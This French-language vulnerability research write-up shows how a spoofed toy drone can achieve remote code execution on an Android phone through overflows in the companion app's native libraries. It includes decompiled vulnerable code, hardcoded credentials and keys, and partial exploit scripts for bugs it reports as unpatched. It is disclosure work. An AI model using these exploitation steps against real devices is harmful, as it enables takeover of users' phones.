From cheap IoT toy to your smartphone: Getting RCE by leveraging a companion app
, - 08/07/2025 - dansDans cet article, nous détaillerons des vulnérabilités que nous avons découvertes dans une application Android de contrôle de drone, permettant de prendre le contrôle d'un smartphone récent en simulant le drone lui-même.
Vous souhaitez améliorer vos compétences ? Découvrez nos sessions de formation ! En savoir plus
De nombreux articles se focalisent sur l'exploitation des appareils d'IoT en eux-mêmes. Nous nous sommes intéressés à l'idée selon laquelle un attaquant pourrait cibler les applications de contrôle à la place, d'autant plus que celles-ci sont souvent installées directement sur nos smartphones.
Un modèle de drone à faible coût, l'Eachine E58, a été sélectionné comme cible, car il peut être piloté via plusieurs applications tierces. Pour réaliser les tests, un Samsung Galaxy S22 sous Android 14 a été utilisé, avec LW FPV comme application cible.
Les tentatives de contacter les mainteneurs des bibliothèques affectées n'ont donné aucune réponse, laissant les vulnérabilités identifiées non patchées. Il est à noter que, pendant l'attente d'une réponse de la part des développeurs, l'application ciblée a été retirée du Play Store, et semble être réapparue au moment de la rédaction de l'article.
Applications
Cette application est constituée d'une partie de code en Java et d'une partie native (C/C++), utilisée via des appels JNI.
Au départ, l'étude s'est portée sur la rétro-ingénierie des bibliothèques natives de l'application. Cependant, au cours du développement de l'exploit un examen du code Java s'est avéré nécessaire pour obtenir des informations complémentaires sur les fonctions manipulées.
La partie Java de l'application LW FPV est obfusquée avec le packer Bangcle, ce qui complexifie son étude. Pour contourner cette difficulté, nous avons recherché sur le Play Store d'autres applications utilisant des bibliothèques similaires, de préférence plus anciennes ou moins protégées et non empaquetées. De nombreuses alternatives ont ainsi été identifiées:

Chacune de ces applications semble capable de contrôler les drones de la marque, ou du moins l'Eachine E58, et utilise les mêmes bibliothèques natives pour ce faire.
Les mécanismes de packing employés incluent :
- Certaines applications semblent obfusquées avec Bangcle
- Certaines applications peuvent être unpackées en interceptant la fonction
unlink
avec Frida, et en recherchant les fichiersDEX
dans le stockage de l'application - MF GPS, l'application avec la version la plus récente, n'est pas obfusquée
Deux applications ont principalement été utilisées pour l'analyse :
- L'application cible,
com.klh.lwfpv
- L'application MF GPS, pour examiner l'implémentation Java
Fonctionnement interne de l'application
Pour utiliser l'application, l'utilisateur doit se connecter à un réseau Wi-Fi ouvert ne nécessitant aucun mot de passe, configuré par le drone. Selon le type de drone, sa passerelle sera soit 192.168.0.1
, soit 172.16.10.1
.
Au démarrage, l'application lance plusieurs threads pour tenter d'atteindre l'une de ces passerelles. Même après avoir trouvé une IP qui lui répond, l'application continue d'envoyer des paquets à l'autre adresse, exposant ainsi une plus grande surface d'attaque.
Vulnérabilités
LeweiLib23
L'examen des communications réseau sur Wireshark a révélé un trafic impliquant l'adresse 192.168.0.1
codée en dur dans l'application :

Dès que l'utilisateur clique sur le bouton START
, l'application tente de se connecter aux ports TCP 7060
, 8060
, et envoie de nombreux datagrammes UDP sur les ports 50000
et 40000
.
Le trafic a été identifié comme provenant de la bibliothèque liblewei-3.2.2.so
, et nous avons décidé d'examiner d'abord cette surface d'attaque.
Les connexions sur les ports TCP 7060
et 8060
sont utilisées pour envoyer et recevoir des commandes Lewei
. Ces commandes débutent toujours par la chaîne lewei_cmd
et permettent des interactions courantes avec l'appareil (ex: prendre une photo, télécharger/supprimer des fichiers, formater la carte SD, redémarrer le drone, etc.).
Bien que la différence exacte entre les deux connexions reste incertaine, il semble que le port 7060
soit dédié aux transferts de données, tandis que l'autre port est utilisé pour les commandes de contrôle.
L'interaction sur le port UDP 40000/udp
est liée au Live Stream, qui démarre automatiquement dans des threads séparés lors de l'initialisation. Les trames vidéo sont alors reçues et ajoutées à une file d'attente pour un traitement ultérieur par la partie Java.
AVC stream
: Heap buffer overflow
La fonction avc_read_buffer_thread
est employée pour la réception des flux vidéo H264. Elle ouvre une socket TCP sur le port 7060
et attend une connexion.
Plusieurs buffer overflows sont présents dans l'implémentation de la réception des données. Le code ne vérifie pas la taille des données reçues et les copies dans un buffer alloué avec malloc(0xA00000uLL)
.
char* buffer = (char*) malloc(0xA00000uLL);
// [...]
net_recv(v9, buffer, 0x2E); // receive header
if strcmp(buffer.magic, "lewei_cmd") {
// [...]
if(buffer.type == 257)
net_recv(v9, buffer, * (int*) &buffer.size); // overflow here
}
// [...]
Ce schéma de vulnérabilité apparaît à plusieurs reprises. Toutefois, en raison de la taille du buffer et du fait qu'il ne contienne que des données et ne fasse pas partie d'un objet comportant des pointeurs, cette vulnérabilité est peu susceptible d'être exploitable.
VGA stream
: Écriture hors limites (Heap OOB write)
Le gestionnaire de flux VGA écoute sur le port UDP 40000
. Il s'occupe de paquets similaires et contient également des vulnérabilités. Il est possible d'effectuer une écriture OOB en exploitant le code suivant :
char* buffer = (char*) malloc(0xA00000uLL);
// [...]
size_read = vga_recv_udp(vga_udp_t, &buffer, 2000);
// [...]
if (buffer.magic == 0x6363 && buffer.type == UDP_RECV) {
// [...]
size = *(short *)&buffer.content[49];
index = *(unsigned short *)&buffer.content[45] - 1;
memcpy(&buffer[1400 * index + 1036], &buffer.content[51], size); // OOB write
}
SendGetRecPlan
: Heap buffer overflow
Lorsqu'un appareil est connecté à l'application et que l'utilisateur clique sur le bouton START, l'appel suivant est effectué :
int LW93SendGetRecPlan = LW93SendGetRecPlan();
this.retRecordPlan = LW93SendGetRecPlan;
if (LW93SendGetRecPlan == 1) {
Log.d("", "remote sdcard not recording.");
}
En interne, cela appelle une fonction JNI dans liblewei-3.2.2.so
, qui envoie une commande au port 8060
du drone.
bool Java_com_lewei_lib_LeweiLib_LW93SendGetRecPlan() {
int64_t buffer[3];
int size = 0;
if ( (send_command(6, 0LL, buffer, &size) & 0x80000000) != 0 )
return 0LL;
// [...]
return SLODWORD(buffer[0]) > 0;
}
int send_command(int cmd_id, uint64_t a2, char* buffer, int* size) {
char* buffer = malloc(0x200uLL);
// [...]
switch (cmd_id) {
// [...]
case 6:
// [...] fill the buffer
if ( send(socket_8060, buffer, 0x2EuLL, 0) <= 0 )
goto EXIT_ERROR;
if ( net_recv(socket_8060, buffer, 46) <= 0x2D )
goto EXIT_ERROR;
if ( strcmp(&buffer->magic, "lewei_cmd") )
goto EXIT_ERROR;
// [...]
net_recv(socket_8060, buffer, (int) buffer->size); // Heap overflow here
// [...]
goto EXIT;
break;
// [...]
}
}
Le débordement survient dans les bins d'allocation avec des tailles comprises entre 0x1c0
et 0x250
(Scudo 64 bits).
ParseGLInfoData
: BSS buffer overflow
Une autre interaction peut être observée sur le port UDP 50000
: les données reçues via ce port sont traitées par la fonction native LWUartProtolFlyInfoParseData
dans liblewei_uartprotol.so
.
Cette bibliothèque gère l'analyse d'un objet FlyInfo
, qui contient des informations sur l'état de vol actuel du drone, ses coordonnées, sa vitesse, etc. :
public class FlyInfo {
// [...]
public float height;
public float speed;
public float velocity;
public Coordinate coordinate = new Coordinate();
// [...]
}
Cet objet FlyInfo
est ensuite réutilisé dans l'implémentation Java. Il est mis à jour régulièrement par un thread qui appelle LWUartProtolGetControlData
toutes les 50 millisecondes.
La bibliothèque liblewei_uartprotol.so
prend en charge de nombreux types de drones avec des formats différents et implémente également une machine à états dépendant du protocole utilisé par le drone, qui peut varier pendant la communication.
Lors de l'analyse de l'objet FlyInfo
reçu dans ParseGLInfoData
, les données reçues sont copiées directement à une adresse de la section BSS
, en utilisant une longueur extraite du buffer et sans vérification des limites :
char ParseGLInfoData(char *buffer, unsigned short received_len,
controlPara_t *controlPara, flyInfo_t *flyInfo) {
// [...]
if ( buffer[0] != 'X' )
return buffer;
data_length = (unsigned char)buffer[2];
if ( data_length + 4 > received_len )
return buffer;
// [...]
buffer = memcpy(&GLFlyInfoData, buffer + 3, data_length);
// [...]
}
Puisque data_length
est un unsigned char
, il est possible de copier jusqu'à 0xff
octets dans la BSS, écrasant ainsi toute variable globale située après GLFlyInfoData
.
Cette fonction est accessible via ParseFlyInfoData
, qui redirige l'appel en fonction du protocole courant. Le protocole est défini par controlPara->uartProtol
, qui est par défaut à la valeur 0 (Protocol_None)
.
Lorsque le protocole n'est pas défini, ParseFlyInfoData
tente d'analyser les données selon plusieurs protocoles jusqu'à ce qu'un checksum soit valide et que controlPara->uartProtol
soit défini. Ce comportement rend ParseGLInfoData
facilement accessible :
switch ( controlPara->uartProtol ) {
case 0:
ParseBTInfoData(buffer, received_len, controlPara, flyInfo);
if ( !controlPara->uartProtol )
ParseLWInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseGLInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseHYNInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseWSInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseHHFInfoData(buffer, received_len, controlPara, flyInfo); break;
if ( !controlPara->uartProtol )
ParseFSInfoData(buffer, received_len, controlPara, flyInfo); break;
break;
// [...]
}
Dans les 0xff
octets de la BSS situés après GLFlyInfoData
se trouve un pointeur nommé LWDroneSoftwareData
, utilisé dans GetDroneVersionPageData
pour lire des informations qui seront renvoyées à l'appareil :
long double GetDroneVersionPageData(char *out_buffer, int *out_length) {
// [...]
*(int16_t *)&buffer[6] = LWdroneSoftwarePage;
p_droneSoftwareData = LWDroneSoftwareData + (LWdroneSoftwarePage << 6);
*(int64_t *)&buffer[10] = *(int64_t *)p_droneSoftwareData;
*(int64_t *)&buffer[26] = *((int64_t *)p_droneSoftwareData + 1);
*(int64_t *)&buffer[42] = *((int64_t *)p_droneSoftwareData + 2);
*(int64_t *)&buffer[58] = *((int64_t *)p_droneSoftwareData + 3);
// [...] copy buffer in out_buffer
}
Cela aurait pu constituer une piste intéressante pour une primitive de lecture arbitraire.
Malheureusement, GetDroneVersionPageData
n'est accessible qu'avec les protocoles Protocol_LWGPS_HK
ou Protocol_LWGPS_HF
, et lorsque flyInfo->flags & 0x100 != 0
. Tous les chemins identifiés pour modifier le flag altèrent également controlPara->uartProtol
vers un état où les deux protocoles susmentionnés deviennent inaccessibles.
Cette vulnérabilité n'est donc pas exploitable en l'état, mais elle pourrait le devenir dans de futures versions en fonction de la disposition de la BSS au moment de la compilation.
Appareils contrôlés par liblewei63.so
et libFHDev_Net.so
Au lancement de l'application, de nombreuses requêtes TCP sont envoyées à 172.16.10.1
sur le port 8888
. Ces requêtes proviennent de liblewei63.so
, qui sert principalement de wrapper pour libFHDEVNet.so
.
En coulisses, la bibliothèque libFHDEVNet.so
est capable de contrôler une large gamme de versions d'appareils et commence par essayer plusieurs paramètres pour trouver le type d'appareil correct. Pour ce faire, elle utilise un protocole propriétaire avec le format de paquets suivants :

Les types de paquets sont définis par la combinaison de model_id
, cmd_id
, et seq_id
.
Au démarrage, un paquet LOGIN
est envoyé avec model_id = 0
ainsi qu'un nom d'utilisateur et un mot de passe hardcodés : ('leweiadmin', 'leweiadmin')
. Le paquet est ensuite chiffré avec une clé une fois de plus codée en dur '0123456789012456'
. Si cela échoue, la clé '123leweimark1234'
est utilisée à la place.
Pour effectuer des requêtes, la fonction NC
est employée :
int64_t NC(int model_id, int socket, int is_encrypted, char a4, char* user, char *password, char cmd_id, char seq_id,
char a9, char a10, char* inout_buffer, int* inout_len, char* a13, int timeout, char a15);
Cette fonction enveloppe le buffer contenant les données de la requête dans inout_buffer
et chiffre les données avec la clé choisie, enregistrée dans la variable globale g_aes_key
.
La réponse sera un type d'appareil, ce qui conduira à un constructeur de l'objet device_t
correspondant :

L'objet device_t
contient une table de fonctions, utilisée pour rediriger les appels génériques vers l'implémentation spécifique à chaque drone.
Les informations sur l'appareil sont ensuite enregistrées dans une variable globale user_info, qui sera utilisée pendant toute la durée de vie de l'application.
Plusieurs threads sont également créés lors de l'initialisation. Ils utilisent différents sockets sur le même port serveur :
- Le thread
notify
reçoit des informations sans qu'il n'y ait eu de requête - Un autre thread est utilisé comme heartbeat pour laisser la connexion active
libFHDEV_Net
Stack overflow dans GetUserList
L'un des threads démarrés côté Java appelle la fonction native LeweiLib63.LW63GetClientSize
:
// [...]
while (FlyCtrl.this.isNeedSendData) {
int mClientCount = LeweiLib63.LW63GetClientSize();
if (mClientCount == 1) {
break;
} else {
Thread.sleep(2000L);
}
}
// [...]
Cette fonction finit par appeler get_user_list
sur l'appareil créé. Après réception de la liste des utilisateurs, une lewei_userlist
est remplie avec les données reçues, via une boucle itérant sur item_count
, calculé à partir de la longueur reçue :
int64_t Java_com_lewei_lib63_LeweiLib63_LW63GetClientSize() {
int user_count;
uint8_t user_list[0x880];
user_count = FHDEV_NET_GetUserList(user_info, user_list);
if ( user_count )
return user_list[65];
return 0;
}
Selon le type d'appareil, la fonction get_user_list
est appelée par FHDEV_NET_GetUserList
. Par exemple, pour le type Device61
, la fonction est la suivante :
int64_t get_user_list_61(device_t *dev, lewei_userlist_t *list) {
char buffer[0x1000];
int length;
// [...]
NC(1u, dev->socket, 1, 3, dev->user, dev->password, 1, 5, 0, 0, buffer, &length, 0LL, g_dwRecvTimeOut, 1);
// [...]
int item_count = length / 0x45uLL;
if ( length % 0x45uLL ) {
// [...] error
}
else {
if ( item_count < 1 )
return 1LL;
i = 0LL;
char *curr_item = &list->items[0].field_41;
char *buf_ptr = buffer;
do {
// [...] fill curr_item based on buf_ptr
++i;
buf_ptr += 0x45;
curr_item += 0x44;
} while ( i < item_count );
return 1LL;
}
}
Ici, list
est une variable de la stack ayant une longueur de 0x880
. Il est donc possible de déborder sur la suite de la stack en envoyant plus de 31*0x45
octets.
Obtention d'un leak
Comme expliqué précédemment, pour communiquer avec l'appareil la fonction NC
est utilisée :
int64_t NC(int model_id, int socket, int is_encrypted, char a4, char* user, char *password,
char cmd_id, char seq_id, char a9, char a10, char* inout_buffer, int* inout_len, char* a13, int timeout, char a15) {
char buffer[0x1052];
// [...]
memset(buffer, 0, sizeof(buffer));
// [...]
// Sending data
send_len = *inout_len;
// [...]
if ( send_len >= 1 )
memcpy(&buffer[82], inout_buffer, send_len);
TCPSocketSend(socket, buffer, g_ucHeadLen + send_len, is_encrypted)
// [...]
// Receiving data
received_len = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
// [...]
msg_length = *(unsigned short *)&buffer[79];
if ( inout_buffer && msg_length >= 2uLL )
memcpy(inout_buffer, &buffer[82], msg_length - 1);
// [...]
*inout_len = msg_length - 1;
if ( msg_length <= 1u )
*inout_len = 0;
// [...]
}
Lorsque les données sont reçues, une longueur est extraite du buffer puis stockée dans l'argument inout_len
. Un buffer overflow est alors possible lors du second appel à memcpy
. Malheureusement il n'est pas possible de contrôler les données écrites, car g_iNetMsgLen
force une longueur de réception maximale à 0x1052
octets. Cependant, selon l'utilisation de cette fonction, elle peut être employée pour obtenir un leak de la stack située après le buffer.
En particulier, les patterns où deux appels chaînés réutilisent les mêmes variables in-out sont vulnérables. Le premier définira inout_len
à une valeur arbitraire, et les données seront envoyées lors du second appel :
char buffer[0x1000];
int length;
// GetTimeZone
NC(1u, device->socket, 1, 3, device->user, device->password, 16, 11, 0, 0,
buffer,
&length,
0LL, g_dwRecvTimeOut, 1);
// [...]
// GetCapacity
NC(1u, device->socket, 1, 3, device->user, device->password, 16, 1, 0, 0,
buffer,
&length, // length is reused without being reset!
0LL, g_dwRecvTimeOut, 1);
Ce modèle est présent dans plusieurs fonctions. Pour le PoC présenté, la requête GetCapacity
a été utilisée car elle est automatiquement appelée juste après la création du device.
Exploitation
Leak et contournement
La première étape du PoC consiste à récupérer une adresse de bibliothèque en exploitant la vulnérabilité dans la fonction GetCapacity
. Pour ce faire, il suffit de répondre à la commande GetTimeZone
avec un message où msg_length > 0x1000
(voir Obtention d'un leak).
Malheureusement cela déclenche également un stack buffer overflow, qui écrase la stack de la fonction appelante avec des données incontrôlées :
// NC function
// [...]
received_len = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
// [...]
msg_length = *(unsigned short *)&buffer[79];
if ( inout_buffer && msg_length >= 2uLL ) {
// Here, the stack after buffer will be copied after inout_buffer
memcpy(inout_buffer, &buffer[82], msg_length - 1);
}
// [...]
Cet overflow entraînera un crash lorsque la fonction GetCapacity
se terminera. Afin de le neutraliser, le second appel à TCPSocketRecv
peut être utilisé pour envoyer une réponse octet par octet et rester bloqué dans la boucle de réception. Un timeout de 5 secondes étant défini lors de la réception de données avec AESSocketRecv
, il est nécessaire d'envoyer régulièrement au moins un octet.
Le fonctionnement global sera alors le suivant :

L'inconvénient de cette technique est que le thread gérant ces commandes sera bloqué, empêchant l'utilisation d'autres vulnérabilités basées sur ce protocole, telles que l'overflow dans
GetUserList
.
Si une valeur trop élevée est définie pour msg_length
, l'application crashera avant la fin du memcpy
. Comme la stack contient plusieurs buffers de grande taille (0x1000
octets), le leak sera limitée, empêchant l'obtention directe d'une adresse de la libc
ou de toute autre bibliothèque système.
La fuite permet de récupérer diverses informations, notamment :
- Le stack cookie
- L'adresse de base de
libFHDEV_Net.so
- L'adresse de base de
liblewei63.so
- Une adresse de stack proche du buffer contrôlé
- Quelques adresses de heap
Sur Android, toutes les applications sont forkées à partir de Zygote. Si le leak comporte une adresse de bibliothèque système, toutes les instances d'applications partageront alors cette adresse. Il serait alors envisageable de laisser le crash se déclencher et d'attendre que l'utilisateur relance son application. Ici les seules adresses présentes proviennent de bibliothèques chargées au démarrage de l'application, dont les adresses changent à chaque démarrage.
Un second leak sera donc nécessaire pour obtenir une adresse de la libc
.
Call Oriented Programming
La fuite mentionnée précédemment fournit un bon point de départ pour exploiter l'application. Cependant, comme il est impossible d'atteindre le return
, il est nécessaire de trouver des primitives d'exploitation dans d'autres bibliothèques, avec d'autres points d'entrée.
Parmi les vulnérabilités identifiées dans lewei-3.2.2.so
, la seule prometteuse était le heap overflow dans une allocation de taille 0x200
(voir SendGetRecPlan
Heap buffer overflow).
Étant donné que le Samsung Galaxy S22 utilise l'allocateur Scudo et que le allocation cookie est écrasé, il faut espérer qu'aucune des allocations précédentes ne soit libérée avant d'atteindre le crash. Heureusement, il semble que les allocations ne soient pas fréquemment libérées dans ce slab.
Avec un overflow suffisamment grand, un crash survient :
signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
x0 4141414141414141 x1 00000078654ead28 x2 00000077259019b0 x3 0000000000000000
x4 0000007725901430 x5 000000000032258a x6 0000000000000001 x7 00001118480c2e3d
x8 0000007885466f10 x9 4141414141414141 x10 0000000000000003 x11 0000000000000000
x12 0000000000000000 x13 00000078e55836c0 x14 0000000000000033 x15 00000078e55836c0
x16 0000000000000001 x17 0000007b4e2583b0 x18 000000772131e000 x19 0000007a45491a10
x20 0000007a45491a10 x21 0000007725902000 x22 0000007865459fd0 x23 0000000000000000
x24 00000077259012e0 x25 0000000000000000 x26 0000000000000000 x27 0000007725902000
x28 00000078e547e680 x29 0000007725901140
lr 0000007b61516188 sp 0000007725901140 pc 0041414141414141 pst 0000000060001800
17 total frames
backtrace:
#00 pc 0000004141414141 <unknown>
#01 pc 0000000000516184 /system/lib64/libhwui.so (android::uirenderer::LinearAllocator::~LinearAllocator()+36) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
#02 pc 0000000000501d74 /system/lib64/libhwui.so (android::uirenderer::skiapipeline::SkiaDisplayList::reuseDisplayList(android::uirenderer::RenderNode*)+168) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
#03 pc 0000000000526a2c /system/lib64/libhwui.so (android::uirenderer::RenderNode::deleteDisplayList(android::uirenderer::TreeObserver&, android::uirenderer::TreeInfo*)+208) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
#04 pc 0000000000527958 /system/lib64/libhwui.so (android::uirenderer::RenderNode::prepareTreeImpl(android::uirenderer::TreeObserver&, android::uirenderer::TreeInfo&, bool)+1844) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
// [...]
Le crash se produit dans le code suivant, ce qui est très prometteur :
LinearAllocator::~LinearAllocator(void) {
while (mDtorList) {
auto node = mDtorList;
mDtorList = node->next;
node->dtor(node->addr); // CRASH HERE
}
// [...]
}
Cette primitive offre la possibilité d'appeler des fonctions arbitraires avec le premier argument contrôlé. En la chaînant avec la fuite mentionnée ci-dessus, cela permet de réaliser le schéma d'exploitation suivant :

L'objectif de ce PoC étant de démontrer la faisabilité d'un exploit sur un smartphone récent, la stabilité ou le heap shaping n'ont pas été optimisés pour garantir la robustesse de cet overflow. Par conséquent, il ne sera pas abordé ici comment effectuer le heap shaping ou comment neutraliser d'autres allocations pour assurer la fiabilité de l'exploit.
Le script Frida suivant a été utilisé pour reproduire le setup et éviter les contraintes du shaping :
function trigger(destructor_node_content){
let libhwui = Process.getModuleByName("libhwui.so").base
// LinearAllocator::~LinearAllocator() function pointer
let linearAllocator_dtor_ptr = libhwui.add(0x516164)
// propagate to keep craches in Logcat : logcat -s DEBUG
let linearAllocator_dtor_func = new NativeFunction(linearAllocator_dtor_ptr, "void", ["pointer"], {exceptions: "propagate"})
// Writing first node content
let destructor_array = Memory.alloc(0x18)
destructor_array.writeByteArray(destructore_node_content)
// Creating a fake LinearAllocator object
let fake_thiz = Memory.alloc(48)
fake_thiz.add(40).writePointer(destructor_array)
linearAllocator_dtor_func(fake_thiz)
}
rpc.exports = {
trigger : trigger
}
Ce script Frida est utilisé en complément d'un script Python qui simule la fonction de déclenchement du heap overflow :
device = frida.get_usb_device()
session = device.attach(int(pid.decode()))
script = session.create_script(script_content)
script.load()
api = script.exports_sync
data = struct.pack("<Q", g_libbase + 0x738E8) # CALL
data += struct.pack("<Q", g_stack_buffer) # ARGS
data += struct.pack("<Q", g_stack_buffer + 0x250*6) # NEXT
api.trigger(data)
Transformation de la COP-Chain en lecture arbitraire
Étant donné que la primitive permet d'appeler une adresse arbitraire avec un argument contrôlé, la fonction system()
de la libc
a été identifiée comme une cible pertinente pour démontrer l'exploit final.
Pour faire fuiter l'adresse de libc.so
, soit il faut une primitive permettant de réutiliser une connexion existante à l'aide de son descripteur de fichier associé, soit il faut trouver une fonction prenant un argument, créant une connexion et effectuant un send
. La seconde option a été retenue :
int sub_738E8(device_t *user_info)
{
char inout_buffer[4096];
memset(inout_buffer, 0, sizeof(inout_buffer));
if ( (unsigned int)Dev_GetHandleCount(user_info, 2LL) )
{
LogPlatformOut(1LL, "shoting...\n");
SetLastErrorPlatform();
return 0LL;
}
int socket = TCPSocketCreate(
&user_info->target_ip,
user_info->target_port,
&user_info->bind_ip,
user_info->bind_port
);
if ( (socket & 0x80000000) != 0 )
return 0LL;
int inout_len = 1;
inout_buffer[0] = 1;
if ( !NC( 0xBu,
socket,
1,
3,
&user_info->username,
&user_info->password,
16,
1u,
0,
0,
inout_buffer,
&inout_len,
0LL,
g_dwRecvTimeOut,
1) )
{
SocketClose(socket);
return 0LL;
}
// [...]
}
Pour utiliser cette primitive, il est nécessaire de forger un objet device_t
arbitraire dans la stack, contenant une IP et un port arbitraires. L'exploitation passant par le wifi, il serait également possible d'écouter les paquets allant vers une IP et un port non contrôlés.
La chaîne d'appel est alors la suivante :
Aucun moyen direct de faire fuiter des données via la requête n'a été trouvé. Cependant, la variable g_aes_key
peut être modifiée pour qu'elle pointe vers une adresse arbitraire :
int FHDEV_NET_SetCryptKey(char *key_addr)
{
int128 l_aes_key; // q0
int result; // x0
if ( key_addr )
l_aes_key = *key_addr;
else
l_aes_key = g_aes_key_default;
result = 1LL;
*(int128 *) g_aes_key = l_aes_key;
return result;
}
En effectuant un appel à cette fonction, la clé AES utilisée pour chiffrer la requête peut être modifiée. Bien que cela fournisse une primitive utile, elle n'est efficace que si un pointeur libc est disponible à proximité d'adresses connues. Heureusement, la section .got
de la bibliothèque connue à cette étape de l'exploitation en est remplie :
Dans l'image ci-dessus, PES_OutputPes
et Dev_GetHandleCount
sont toutes deux des fonctions de libFHDEV_Net.so
dont l'adresse de base est connue.
En définissant g_aes_key
sur pthread_create_ptr + 0x8
, en effectuant un appel NC
qui chiffre sa requête, en décrémentant g_aes_key
et en répétant l'opération, l'octet qui a changé dans g_aes_key
peut être obtenu par bruteforce, ce qui permet de récupérer la valeur de pthread_create_ptr
octet par octet, et donc d'obtenir l'adresse libc.so.

Il est important de noter que les changements de la clé AES doivent se répercuter dans l'exploit pour pouvoir continuer de modifier la chaîne COP par la suite.
Exécution de commande via system
À ce stade, les éléments suivants sont disponibles :
- Une chaîne COP qui envoie des messages en boucle et modifie la clé AES
- Un thread neutralisé bloqué dans une boucle qui reçoit un octet chaque seconde
- L'adresse de base de la libc
Afin d'effectuer l'appel final à system
, la chaîne COP doit être modifiée. Pour ce faire, un autre comportement de NC
a été utilisé :
// [...]
int tries = -1;
// [...]
do {
v31 = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
// [...]
if ( inout_buffer[3] == cmd_id && inout_buffer[4] == seq_id + 1 )
break;
++tries;
} while ( tries < 9 );
if ( tries + 1 > 9 )
return 0;
// [...]
Lors de la réception des données, NC
vérifie que le cmd_id et le seq_id du paquet correspondent aux valeurs attendues, si ce n'est pas le cas, la fonction ignore le paquet et en attend un autre.
Cette boucle permet de réécrire le contenu du buffer jusqu'à 10 fois. Combinée à la technique de neutralisation byte par byte, cela offre un contrôle significatif sur la chaîne COP.
Le diagramme suivant récapitule les différentes étapes de la chaîne COP :

En assemblant toutes les pièces, et avec une part de chance concernant la disposition de la heap, il est finalement possible d'exécuter des commandes arbitraires sur l'appareil :
$ adb logcat -s EXPLOIT
--------- beginning of main
03-05 12:36:15.803 15692 15692 I EXPLOIT : uid=10322(u0_a322) gid=10322(u0_a322) groups=10322(u0_a322),3003(inet),9997(everybody),20322(u0_a322_cache),50322(all_a322) context=u:r:untrusted_app_32:s0:c66,c257,c512,c768
Chronologie
03/2025 | Recherche et exploitation des vulnérabilités présentées |
---|---|
24/03/2025 | Prise de contact avec l'éditeur des bibliothèques concernées |
22/04/2025 | Envoi d'un mail de relance à l'éditeur |
08/07/2025 | Publication de l'article |